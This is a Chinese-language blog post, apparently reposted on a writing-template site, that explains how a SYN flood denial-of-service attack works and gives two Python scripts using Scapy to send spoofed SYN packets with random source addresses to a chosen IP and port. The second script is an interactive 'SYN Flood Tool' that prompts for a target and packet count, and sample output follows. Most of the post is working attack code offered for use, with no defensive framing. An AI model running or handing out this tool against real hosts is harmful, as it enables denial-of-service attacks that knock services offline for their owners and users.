1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 使用Python实现SYN 泛洪攻击(SYN Flood)

使用Python实现SYN 泛洪攻击(SYN Flood)

时间:2021-01-25 11:10:13

相关推荐

使用Python实现SYN 泛洪攻击(SYN Flood)

SYN泛洪攻击(SYN Flood)是一种比较常用的DoS方式之一。通过发送大量伪造的Tcp连接请求,使被攻击主机资源耗尽(通常是CPU满负荷或者内存不足) 的攻击方式。

SYN攻击是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

scapy是一个功能强大网络数据包处理程序,包括对数据包的嗅探、解析和构造。本文即使用其数据包构造功能,实现syn flooding攻击。

Python代码如下所示:

from scapy.all import *import randomdef synFlood():for i in range(10000):#构造随机的源IPsrc='%i.%i.%i.%i'%(random.randint(1,255),random.randint(1, 255),random.randint(1, 255),random.randint(1, 255))#构造随机的端口sport=random.randint(1024,65535)IPlayer=IP(src=src,dst='192.168.37.130')TCPlayer=TCP(sport=sport,dport=80,flags="S")packet=IPlayer/TCPlayersend(packet)if __name__ == '__main__':synFlood()

结果如下:

完善的Python代码如下:

from scapy.all import *import random#生成随机的IPdef randomIP():ip=".".join(map(str,(random.randint(0,255) for i in range(4))))return ip#生成随机端口def randomPort():port=random.randint(1000,10000)return port#syn-flooddef synFlood(count,dstIP,dstPort):total=0print("Packets are sending ...")for i in range(count):#IPlayersrcIP=randomIP()dstIP=dstIPIPlayer = IP(src=srcIP,dst=dstIP)#TCPlayersrcPort=randomPort()TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S")#发送包packet = IPlayer / TCPlayersend(packet)total+=1print("Total packets sent: %i" % total)#显示的信息def info():print("#"*30)print("# Welcome to SYN Flood Tool #")print("#"*30)#输入目标IP和端口dstIP = input("Target IP : ")dstPort = int(input("Target Port : "))return dstIP, dstPortif __name__ == '__main__':dstIP, dstPort=info()count=int(input("Please input the number of packets:"))synFlood(count,dstIP,dstPort)

结果如下:

############################### Welcome to SYN Flood Tool ###############################Target IP : 192.168.37.2Target Port : 80Please input the number of packets:8Packets are sending ....Sent 1 packets..Sent 1 packets..Sent 1 packets..Sent 1 packets..Sent 1 packets..Sent 1 packets..Sent 1 packets..Sent 1 packets.Total packets sent: 8

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。